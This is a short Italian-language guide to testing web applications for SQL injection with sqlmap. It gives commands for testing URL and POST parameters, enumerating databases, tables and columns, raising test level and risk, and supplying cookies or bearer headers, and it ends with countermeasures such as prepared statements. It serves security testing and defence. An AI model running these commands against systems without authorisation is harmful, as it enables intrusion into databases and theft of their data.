Verificare vulnerabilità SQL injection
1. Test base
# Test un parametro URL
sqlmap -u "http://192.168.1.100/page?id=1" --batch
# Test un form POST
sqlmap -u "http://192.168.1.100/login" --data="user=admin&pass=test" --batch
2. Opzioni di analisi
# Enumera database
sqlmap -u "http://target/page?id=1" --dbs
# Enumera tabelle
sqlmap -u "http://target/page?id=1" -D nomedb --tables
# Enumera colonne
sqlmap -u "http://target/page?id=1" -D nomedb -T tabella --columns
3. Livelli di test
# Level 1-5 (default 1)
sqlmap -u "http://target/page?id=1" --level=3
# Risk 1-3 (default 1)
sqlmap -u "http://target/page?id=1" --risk=2
4. Test con cookie/header
sqlmap -u "http://target/page?id=1" --cookie="PHPSESSID=abc123"
sqlmap -u "http://target/page?id=1" --headers="Authorization: Bearer token123"
5. Contromisure
- Usare sempre prepared statements (PDO/mysqli)
- Validare e sanitizzare ogni input
- Principio del minimo privilegio per utenti DB
- WAF (Web Application Firewall)
Risultato: Verifica che le applicazioni web siano protette da SQL injection.